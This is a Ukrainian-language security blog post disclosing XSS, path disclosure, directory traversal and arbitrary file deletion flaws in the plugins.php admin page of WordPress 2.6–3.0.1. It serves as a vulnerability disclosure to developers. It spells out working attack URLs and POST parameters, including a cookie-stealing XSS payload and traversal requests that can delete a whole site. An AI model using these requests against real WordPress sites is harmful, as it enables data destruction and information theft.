Численні уразливості в WordPress 2 та 3

23:53 30.09.2010

Через два місяці після проведення проекту День багів в WordPress 2 (Day of bugs in WordPress 2) я публікую численні уразливості в WordPress. Це в якості попереднього анонсу Дня багів в WordPress 3, який відбудеться з часом :-) .

У серпні, 14.08.2010, я знайшов Cross-Site Scripting, Full path disclosure, Information Leakage, Directory Traversal, Arbitrary File Deletion і Denial of Service уразливості в WordPress.

Для всіх цих атак потрібно мати доступ до адмінського акаунта, або мати акаунт з правами для роботи з плагінами. Або атакувати адміна чи іншого користувача з необхідними правами через XSS, щоб дізнатися токен, призначений для захисту від CSRF атак.

Тому користувачам WordPress особливо переживати за ці дірки не треба (якщо не допускати вищезгаданих вимог). Але дані уразливості стануть в нагоді секюріті дослідникам при доступі до адмінки або наявності XSS на сайті. Тому розробникам WP бажано їх виправити.

Перевірено в WordPress 2.0.11, 2.6.2, 2.7, 2.8, 2.9.2, 3.0.1. Версії 2.0.х невразливі, тому що в них немає даного функціоналу. До різних уразливостей вразливі WordPress 2.6 - 3.0.1 та потенційно попередні версії.

Коментуючи XSS уразливість в WordPress 3.0.1, я зазначив додаткову інформацію стосовно XSS уразливості. Дані нюанси відносяться і до нищенаведених уразливостей. Атакувати можна як черех параметр checked[0], так через checked[1] і т.д., а також через checked[]. В версіях WP 2.7 і вище можна використовувати параметр action=delete-selected, а в версіях 2.8 і вище можна використовувати також параметр action2=delete-selected.

XSS:

Як я зазначав в вищезгаданому записі, в WordPress 2.6.x Cross-Site Scripting атака проводиться по іншому. І користі від даної XSS майже немає.

Для атаки потрібно послати POST запит до http://site/wp-admin/plugins.php з параметрами _wpnonce рівному значенню токена, delete-selected рівному “Delete” та checked[] рівному <body onload=alert(document.cookie)>.

Уразливі WordPress 2.6.x та потенційно попередні версії.

Full path disclosure:

Для атаки потрібно послати POST запит до http://site/wp-admin/plugins.php з параметрами _wpnonce рівному значенню токена, delete-selected рівному “Delete” та checked[] рівному “1″.

Уразливі WordPress 2.6.x та потенційно попередні версії.

Full path disclosure:

http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action=delete-selected&checked[]=1
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action2=delete-selected&checked[]=1

Уразливі WordPress 2.7 - 3.0.1 (для параметра action2 - 2.8 і вище).

Full path disclosure:

http://site/wp-admin/plugins.php

Повний шлях виводиться прямо на сторінці з плагінами.

Уразливі WordPress 2.6 - 2.7.1.

Information Leakage + Directory Traversal:

На сторінці (в списку під лінкою Click to view entire list of files which will be deleted) виводиться перелік файлів в поточній папці та підпапках.

В папці http://site/wp-content/plugins/:
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action=delete-selected&checked[]=
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action2=delete-selected&checked[]=

В папці http://site/wp-content/:
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action=delete-selected&checked[]=../1
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action2=delete-selected&checked[]=../1

Уразливі WordPress 2.7 - 3.0.1 (для параметра action2 - 2.8 і вище). А також WordPress 2.6.х. В версіях 2.6.х потрібно послати відповідний POST запит до http://site/wp-admin/plugins.php (як зазначалось вище).

Arbitrary File Deletion + DoS:

Якщо послати вищенаведені запити з параметром verify-delete=1, то можна видалити файли та папки в поточній папці та підпапках. Враховуючи Directory Traversal можна видалити як всі плагіни, так й інші файли в інших папках, в тому числі можна провести DoS атаку на сайт (якщо видалити важливі файли WP). Наприклад з запитом checked[]=../../1 можна видалити весь сайт.

http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action=delete-selected&checked[]=../1&verify-delete=1
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&action2=delete-selected&checked[]=../1&verify-delete=1

Уразливі WordPress 2.7 - 3.0.1 (для параметра action2 - 2.8 і вище). А також WordPress 2.6.х. В версіях 2.6.х потрібно послати відповідний POST запит до http://site/wp-admin/plugins.php (як зазначалось вище).


Leave a Reply

You must be logged in to post a comment.